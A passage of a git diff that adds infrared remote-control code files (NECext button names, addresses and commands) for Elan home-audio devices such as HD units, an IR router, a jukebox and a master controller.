+name: I +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1C 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1D 00 00 00 +# +name: FFW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/0,-1.ir new file mode 100644 index 000000000..9b4230a22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/0,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: DND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: BASS+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: TREBLE+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: BASS- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/1,-1.ir new file mode 100644 index 000000000..7f1f5a148 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/1,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: ON_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: ON_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: ON_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: ON_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: ON_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: ON_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: ON_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: ON_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: ON_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: ON_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: ON_A +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: ON_B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: ON_C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: ON_D +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: ON_E +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: ON_F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: ON_G +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: WH_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: ON_H +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: ON_I +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: ON_J +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: ON_ELAN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: ON_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: ON_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: ON_DND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: OFF_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: OFF_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: OFF_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: OFF_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: OFF_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: OFF_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: OFF_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: OFF_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: OFF_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: OFF_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: OFF_A +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: OFF_B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: OFF_C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2C 00 00 00 +# +name: OFF_D +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: OFF_E +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: OFF_F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: OFF_G +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: WH_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: OFF_H +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: OFF_I +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: OFF_J +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: OFF_ELAN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: OFF_PWR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: OFF_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: OFF_DND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/2,-1.ir new file mode 100644 index 000000000..9eff5893a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/2,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/4,-1.ir new file mode 100644 index 000000000..eb092a054 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/4,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: SOURCE_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: FAST_FWD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: ACCOUSTIC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: H +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: J +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 25 00 00 00 +# +name: *__MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 26 00 00 00 +# +name: *__SKIP_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 27 00 00 00 +# +name: *__SKIP_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: *__PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: *__STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: *__CHAN_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2D 00 00 00 +# +name: *__CHAN_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2E 00 00 00 +# +name: *__RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: *__ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: *__TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: *__ELAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/HD/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/5,-1.ir new file mode 100644 index 000000000..7d3098259 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/HD/5,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: *__0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: *__1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: *__2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: *__3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: *__4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: *__5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: *__6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: *__7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: *__8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: *__9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: TUNER-_INPUT1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: SRC_1_(TUNER) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: CD_INPUT2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: SRC_2_(CD) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: TAPE-_INPUT3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: SRC_3_(TAPE_1) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: VCR-_INPUT4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: SRC_4_(VCR_1) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: LASER_-_INPUT5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: SRC_5_(LASER_DISC) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: AUX_1-_INPUT6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: SRC_6_(AUX_1) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: AUX_2-INPUT7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: SRC_7_(AUX_2) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: AUX_3-INPUT8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: SRC_8_(AUX_3) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: AUX4-INPUT9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: SRC_9_(AUX_4) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: AUX5-INPUT10 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: SRC_10_(AUX_5) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: DBS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir new file mode 100644 index 000000000..6b05b5817 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: ALL_PORTS_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: ALL_PORTS_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir new file mode 100644 index 000000000..a08098184 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: 2_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: 3_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: 4_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: 5_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: 6_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: 7_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: 8_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: 9_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: 10_0N +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: 11_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: 12_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: 13_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: 14_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: 15_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: 16_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: 1_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 2_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 3_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: 4_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 5_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 6_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: 7_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: 8_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: 9_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: 10_0FF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: 11_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: 12_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: 13_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: 14_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: 15_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: 16_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir new file mode 100644 index 000000000..62f2e664d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: 12_NOW_PLAYING +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 81 00 00 00 +# +name: 1_UP/REPEAT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 86 00 00 00 +# +name: 2_DOWN/SHUFFLE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 87 00 00 00 +# +name: 4_LIBRARY/MENU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 88 00 00 00 +# +name: 6_SKIP- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 89 00 00 00 +# +name: 8_PAUSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8A 00 00 00 +# +name: 10_SKIP+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8B 00 00 00 +# +name: 5_X_HIDE/BACK +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8E 00 00 00 +# +name: 7_DISPLAY/X_REMOVE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8F 00 00 00 +# +name: 9_STOP/I_CLEAR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 90 00 00 00 +# +name: 11_PLAY/SELECT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 91 00 00 00 +# +name: 3_I_VIEW/ALPHA +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 94 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir new file mode 100644 index 000000000..479a9b2a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: DND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir new file mode 100644 index 000000000..4e161cb03 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: RELAY_1_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: RELAY_2_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: RELAY_3_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: RELAY_4_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: RELAY_5_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: RELAY_6_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: LOOP_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: FLAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: ZONE_GROUPING_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: WHOLE_HOUSE_ON/OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: RELAY_1_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: RELAY_2_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: RELAY_3_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: RELAY_4_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: RELAY_5_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: RELAY_6_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir new file mode 100644 index 000000000..75c09449b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: LASER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: AUX_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: AUX_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: AUX_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: DBS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir new file mode 